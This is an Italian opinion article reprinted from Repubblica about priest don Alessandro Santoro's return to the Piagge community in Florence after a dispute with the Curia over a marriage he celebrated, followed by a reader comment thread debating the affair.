24 settembre 2018

Ritorno di Alessandro. Nessuna gerarchia potrà più nascondere la vita vera sotto il tappeto del diritto canonico

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di Maria Cristina Carratù

Come interpretare il ritorno di don Santoro alle Piagge, dato fino a poco tempo fa, causa l´intransigenza delle parti, per impossibile? Domani don Alessandro sarà già a casa sua, fra la sua gente, cui intende spiegare ‘in diretta´ i dettagli di un´operazione al momento spiegata solo dalla Curia e ovviamente dal punto di vista della Curia, cioè secondo la logica di quella progressiva «normalizzazione» della vita ecclesiale fiorentina che sembra ormai segnare il magistero di Giuseppe Betori.

Il ritorno del «ribelle», secondo il comunicato con cui piazza San Giovanni ne ha dato notizia mercoledì sera, dopo un incontro con il prete, sarebbe nient´altro che il risultato del suo «pentimento», esattamente quello «auspicato» al momento in cui, nel novembre scorso, «fu sollevato dal suo incarico di cappellano delle Piagge». Santoro, insomma, sembrerebbe di capire, sarebbe sceso a più miti consigli perché provato, psicologicamente e fisicamente, dalla lontananza, e magari anche perché fatto «rinsavire» dalle meditazioni e dalle preghiere comminategli dal suo Pastore.

E pur di mettere fine al supplizio avrebbe accettato di rinnegare tutto quanto è andato sostenendo in questi cinque mesi di dibattiti, incontri in tv, tavole rotonde e comizi, fonte continua, in Curia, di irritazione e preoccupazione: e cioè che unire in matrimonio Sandra Alvino, donna nata uomo, con Fortunato Talotta, da lei già sposato civilmente 25 anni fa, era stato giusto e sacrosanto, perché fatto «nel nome del Vangelo». Possibile, era la domanda che circolava anche ieri alle Piagge, che uno come «Ale» si sia rimangiato tutto? No, non è possibile. E infatti non è così. Santoro, stando alla lettera inviata all´arcivescovo e rivelata, per stralci, dallo stesso comunicato ufficiale, precisa anche che «non era mia intenzione» minare la comunione ecclesiale, e che l´essere andato «più in là» delle prescrizioni canoniche, cioè di aver «osato» il matrimonio, è stato dettato esclusivamente dall´«obbedienza» a due persone unite da «amore cristiano e sincero».

E´ chiaro, quello che si vuol dire: Santoro ammette di aver sbagliato a non tener conto dell´effetto del suo gesto, ma non se ne pente. Dice di aver capito che una comunità ha i suoi tempi di reazione, ma chiede alla Chiesa di rinunciare a soffocare chi, per ardore, si slancia in avanti. Ammette di non aver tenuto abbastanza «conto dell´insieme del corpo ecclesiale», e di essere di questo «molto dispiaciuto». Ma chiarisce di sentirsi «prete» e di voler «continuare ad esserlo». Il che, si intende, non può avvenire se non «in comunione» con tutta la Chiesa, e – attenzione – «nel rispetto» di tutte le «sensibilità» presenti al suo interno. Un messaggio chiaro: il prete delle Piagge, se questa era la preoccupazione della Curia, non ha in mente nessuna secessione come quella della comunità di base dell´Isolotto. E però, nel dir questo Santoro pone una questione, dal suo punto di vista, cruciale: chiede, cioè, di veder accolta nella Chiesa fiorentina, accanto a tutte le altre, anche la sua specificità pastorale, il suo «carisma», secondo il vocabolario della Chiesa. Che è, ed è sempre stato, quello di dar voce agli ultimi ‘senza se e senza ma´, riducendo via via «il campo dell´esclusione»: non solo attraverso l´accoglienza materiale, ma anche attraverso l´«inclusione» di ogni forma in cui l´umano si esprime, oltre gli schematismi dogmatici.

Certo, Santoro ha anche promesso che in futuro, se dovessero ripresentarglisi situazioni «particolari e ‘al limite´», si intende al limite della comprensibilità da parte dell´intero corpo ecclesiale e presbiteriale, li «sottoporrà alla riflessione del vescovo». Cosa del resto che lo impegna a fare la stessa «professione di fede» impostagli da Betori (e che lui ha già firmato), sempre dovuta da ogni parroco. Ma intanto, dopo che il 25 ottobre 2009, nella baracca delle Piagge, il famoso ‘limite´ è stato superato, nulla può essere più come prima. Neppure per le gerarchie, che adesso, proprio in virtù della riabilitazione del prete ‘sconfinante´, non potranno più nascondere la vita vera sotto il tappeto del diritto canonico. Bello, folto, ma polveroso, e tutto pieno di buchi.

Fonte Repubblica

0 Comments

  1. don rino

    E’ incredibile come inizia questo articolo,il disagio edi don santoro nell’esilio….o mio Dio quanto è offensiva questa dichiarazione nei confronti di chi è vero martire nel silenzio e che non ha il privilegio,dato non si sa da chi e da cosa….,di ritornare dal posto da dove è stato allontanato.Don santoro! la sua fortuna è solo quella di avere alle spalle un gruppetto di “guro” potenti e di altri potenti,di avere una banca “solidale” una casa editrice……e poi,siccome non è mai dato sapere la verità,essendo anche un prete-uomo scaltro e furbo,vivendo in certe realtà conosce cose e fatti che nella vita a volte possono servire.,,,,,,è solo una idea che non ha nulla di concreto,ma come si dice a pensar male a volte si indovina.

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  2. don rino

    Maria Cristina Carratù,e agli operatori del sito,grazie per non aver pubblicato il mio commento,è la risposta che vi ho toccato i nervi scoperti,cmq. sappiate che le mie tesi non si fermano a questo sitarello ma andranno avanti nell’indagine fino ad arrivare con documenti a scoperchiare la pentola del vostyro gioco.

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    1. red

      non sempre riusciamo ad approvare i commenti in tempo reale… La preghiamo comunque di evitare gli insulti e le insinuazioni gratuite.

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  3. Marcella Gamberi

    Don Rino, ma quanto casino fai. Secondo te la Carratù di Repubblica sta dietro ai tuoi commenti? Ma se non hai nemmeno capito che questo articolo è tratto da una cronaca fiorentina come pensi di capire l’esperienza delle Piagge? La banca, la casa editrice, il resto… sta a vedere che ora Santoro è come il tuo amico a capo del governo. Don Rino, ma sei un prete? Sei della Curia fiorentina? Il livello sembra proprio quello… O quel “don” sta per l’appellativo di chi lancia messaggi mafiosi. Ce l’hai una faccia? Delle gambe? Perché non vai a conoscere dal vivo quello che fanno alle Piagge, magari se sei in buona fede potrai anche capire qualcosa! Va’ via furbino!

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  4. don rino

    Prima cosa,i moderatori hanno pubblicato sia il commento sia il mio richiamo al fatto che non l’avevano pubblicato.fa lo stesso.Inoltre,mi è piaciuto molto quello che scrivi,carissima marcella….!sì perchè ciò che accusi a me corrisponde in pieno a ciò che te pensi e dici,ma fa lo stesso.Chi sono? semplice,unn prete fiorentino parroco con una storia dietro di 15 anni di cappellano del carcere e di strada,inoltre le cose che dico è come se mettessi la faccia .Quello che mi interessa è solo che davanti a certe cose come i fatti delle piagge,ci sia la verità ed ancor più mi interessa il prete don santoro,perchè anche se lui ignora,per ora,ma sarà abbandonato e rimarrà solo,inoltre quello che mi interessa sono le persone vere che non hanno interessi e che davvero amano il prete non x quello che fa ma per ciò che rappresenta.inoltre se fossi,come te mi chiami furbino! allora farei parte dei guru delle piagge e non….ma ripeto ed insisto,sin dal primo momento nessuno ha mai mdetto la verità dei fatti soprattutto i guru che comandano tutto ed anche don ale,quelli si mi piacerebbe incontrare a quattrocchi,semplicemente per capire se eventualmenete io mi sbaglio,nel caso mi siam sbagliato chiederòm, perdono firmando una lettera e poi dopo su questi commenti direi che non mi pento di quello che ho scritto e pensato.concludo con una massima che è come il cacio sui maccheroni per le piagge e don ale ed i suoi guru ” FINGERE DI CONOSCERE CIO’ CHE SI IGNORA,IGNORARE CIO’ CHE SI CONOSCE!”

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  5. don rino

    CARO RED,MI SCRIVA GLI INSULTI O LE ACCUSE GRATUITE,SEMMAI MI SCRIVA A MEZZO MAIL E LE RISPONDERO’,CMQ. CHIEDO SCUSA SE HO PENSATO MALE X LA NON PUBBLICAZIONE,QUESTA E’ SEMMAI UNA COSA CHE HO SBAGLIATO NON IL RESTO.

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  6. michele desantis

    Le risposte date in questo sito al sacerdote don rino cambiano parecchio la visione che avevo di questa comunità,il primo segno che rende credibile alcune testimonianze di un prete e la sua comunità è quello di accogliere qualsiasi commento o critica anche feroce ed addirittura offensiva.se non errop gli atti degli apostoli ci raccontano come si comportavano gli apostoli,e se non erro questi esultavano quando venivano ingiuriati e calunniati e perseguitati,se non erro uscivano dal carcere o dalle interrogazioni felici d’esser styati oltraggiati nel nome di cristo.ecco questo rende una testimonianza ed una comunità credibile quando è simile ai primi cristiani,quindi accogliete tutte le critiche anzi esultate.

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  7. davide

    Sono anch’io soddisfatto della conclusione in positivo della vicenda,politico-ecclesiale nella città di firenze(scrivo da lucca),ho seguito dall’inizio tutta la storia,anche se non sono cattolico ne quantomeno praticante,anzi questi fatti mi allonjtanano ancor di più da una chiesa cattolica,in ogni sua forma anche quella di comunità come la vostra.Ma una cosa non mi è chiara,in ogni vicenda chi è accusato deve non discolparsi con parole,ma secondo me con fatti concreti.Ho letto sul sito della chiesa cattolica e di preciso sul sito della diocesi (non mi fermo mai ai giornali) il comunicato della curia,ci sono due documenti,uno quello sottoscritto da don alessandro santoro,dove splicitamente chiede perdono di ciò che ha fatto e si dice che ha sottoscritto un documento di confessione pubblica verso l’ortodossia della dottrina e quindi sconfessando il suo modo d’esser prete! ed inoltre un documento che il,vescovo di questa chiesa ha scritto alla comunità,rivolto ai fedeli e quindi lettera da leggersi.Ora la domenica del rientro,don alessandro santoro,non solo non ha letto una lettera del vescovo non a lui ma ai fedeli,questo lo ritengo da laico scorretto,ma non ha letto la sua confessione e sottoscrizione del documento che gli ha permesso di esser di nuovo in comunità.con dispiacere ma x chiarezza posso domandare a lui o a qualche suo collaboratore il perchè di questo comportamento? a parte le critiche o le accuse che leggo,ma son discorsi anche se nascondono altro,io credo che questo atteggiamento in curia in un modo e nella comunità un altro,dimostrano la non lealtà di questa vicenda. grazie.

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  8. Luciano

    Ho conosciuto don Alessandro alla fiera del commercio equo e solidale un annetto e mezzo fa. Dal profondo sud in cui vivo invio a lui ed alla comunità delle Piagge tutta la mia solidarietà.
    Chi vuole criticarlo abbia il coraggio di andare a vivere come lui, in mezzo alla gente, ma non per un giorno o due, o venga giù in Calabria che un posticino dove meditare sulla vita glie lo trovo io, anche gratis se serve.
    A pensar male a volte s’indovina ma più spesso si fa male a se stessi ed agli altri, caro don Rino, mi sa che questa volta hai sbagliato.
    Tra l’altro è una citazione dell’Andreotti-pensiero, la frase completa è: “A pensar male si fa peccato ma spesso si indovina”: dato che si fa peccato, e stavolta senza neppure indovinare, mi sa che questa la devi confessare.
    Buone cose.

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  9. Sabatino

    Caro Davide, sono Sabatino della comunità delle piagge. Non ho certo la pretesa di parlare a nome della Comunità ma penso di rappresentare un pensiero condiviso all’interno di essa almeno sulla questione della lettera del Vescovo. Alessandro quella lettera non l’ha letta proprio per rispetto del Vescovo e di noi tutti a cui era indirizzata (a me no comunque, perchè io come te sono lontano anni luce da quella madre chiesa). Il giorno della messa se avrai letto o visto a riguardo, c’erano centinaia di persone e molti giornalisti e Alessandro ha annunciato la lettera ma si è riservato di leggerla alla comunità in un momento più appropriato e intimo. Converrai che questo comportamento non è come dici tu sleale ma se permetti io lo definirei corretto. D’altra parte il Vescovo se voleva rendere pubblica quella lettera (come ha poi fatto la sera stessa) non gli mancavano certo i canali. Riguardo alla lettera che ha scritto al Vescovo pure quella oramai pubblica, sinceramente non vedo perchè la messa doveva essere il luogo indicato. Comunque quello che tengo a sotttolineare è che in tutta questa faccenda la lealtà da parte nostra e di Alessandro non è mai venuta meno. Certo si può concordare o meno, e ti assicuro che anche di questo parleremo ancora, ma non ci accusate di slealtà, davvero non lo meritiamo.
    Grazie

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  10. DAVIDE

    Ciao carissimo Sabatino,solom ora ho letto il tuo commento,ne sono rimasto ammirato,grazie per la leale risposta.Mi permetterai di non concordare su alcune motivazioni che scrivi,il Vescovo ha scritto la lettera affinchè essa fosse letta proprio quella domenica,cosa pensi che no0n sapesse che ci sarebbero state stampa ed altro?permettimiè irreale ciò che dici.Ti chiedo scusa se nelle mie parole hai sentito una velata accusa,scusami,ma non è quello che pensavo,forse come son fatto,credevo e credo che in tutta questa storia,bellissima nei fini…,perdonami,qualcosa non torna è sta in questo qualcosa la verità del tutto.grazie e buon cammino.

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  11. Carlo

    Cari moderatori del sito ma tutti questi commenti erano proprio da pubblicare?
    Secondo me era meglio un pò di silenzio.
    Spiego meglio, conosco don Santoro da qualche anno solo perchè collaboro al Fondo Etico, non abito alle Piagge e sulla vicenda di Sandra non ho capito le motivazioni del suo gesto, mentre mi è sembrato di capire meglio le ragioni del Vescovo, così come le ha spiegate all’assemblea delle Piagge.
    Ma ora che finalmente i due sono arrivati a far pace che bisogno c’è di interpretare le segrete motivazioni dell’uno o dell’altro, quando don Santoro stesso ha chiesto un pò di silenzio (cito a memoria da uno dei vostri articoli).
    Credo che tutti e due abbiano sofferto nel corso di questa vicenda e allora
    mi permetto di lanciare un appello alla Carratù, a don Rino e a tutti gli altri:

    Lasciateli in pace!

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